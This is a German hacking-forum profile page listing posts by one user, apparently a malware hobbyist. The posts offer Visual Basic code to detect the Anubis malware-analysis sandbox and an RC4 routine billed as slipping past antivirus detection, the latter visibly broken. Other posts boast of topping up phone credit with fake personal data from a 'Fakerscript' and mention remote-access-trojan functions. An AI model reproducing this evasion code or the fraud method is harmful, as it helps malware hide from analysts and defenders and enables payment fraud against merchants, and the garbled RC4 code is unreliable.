Beiträge von Lemontree
-
-
Hallo,
hier mal ein Anti-Anubis Code:
CodePublic Function Anubis() As StringIf Dir$("C:\exec\popupKiller.exe") <> "" ThenIf FileLen("C:\exec\popupKiller.exe") = 327865 ThenAnubis = TrueEnd IfElseAnubis = FalseEnd IfIf Anubis = True ThenAnubis = FileLen("C:\")End IfEnd Function
Die Funktion wird aufgerufen mit:
Mfg. Lemontree
-
Hallo,
Code
Alles anzeigenPublic Function RC4(ByVal Data As String, ByVal Password As String) As String On Error Resume Next Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte Key() = StrConv(Password, vbFromUnicode) For X = 0 To 255 Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256 F(X) = X Next X Key() = StrConv(Data, vbFromUnicode) For X = 0 To Len(Data) Y = (Y + F(Y) + 1) Mod 256 Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254)) Next X RC4 = StrConv(Key, vbUnicode) End Function
Wenn man hiervon die Strings ändert wird der RC4 - Code
nicht vom Antivirus erkannt.Mfg. Lemontree
-
Habs ausprobiert und es hat geklappt! Ich hab mir am anfang 50â?¬ (per Lastschrift) aufgeladen und hatte das ganze Wochenende einschlieÃ?lich Montag viel HandyspaÃ?. =D
Man kann einfach Daten von Silentbob's Fakerscript nehmen. -
Jop geht mit fake-Daten.
-
-
Jop is mir auch schon aufgefallen. Da gibbet Plugins f?r...
-
Das sind n paar lustige Funktionen f?r n mini-RAT finde ich^^
-
Hay Willkommen xD
-
Jop kein Problem xD
-
Ja so is das nunma^^ Aba mein Freund hat ne Mail geschickt un blahblah ich hab eh nix verstanden aba durfte mit psc bezahlen^^
-
Ich hab auch anfangs n translator benutzt aber dann hab ich nen Freund(Russe) gefragt, ob er sich f?r mich durchklicken kann xD
-
-
Lool - Wer schreibt sowas? xD Richtig funny aufjedenfall xD
-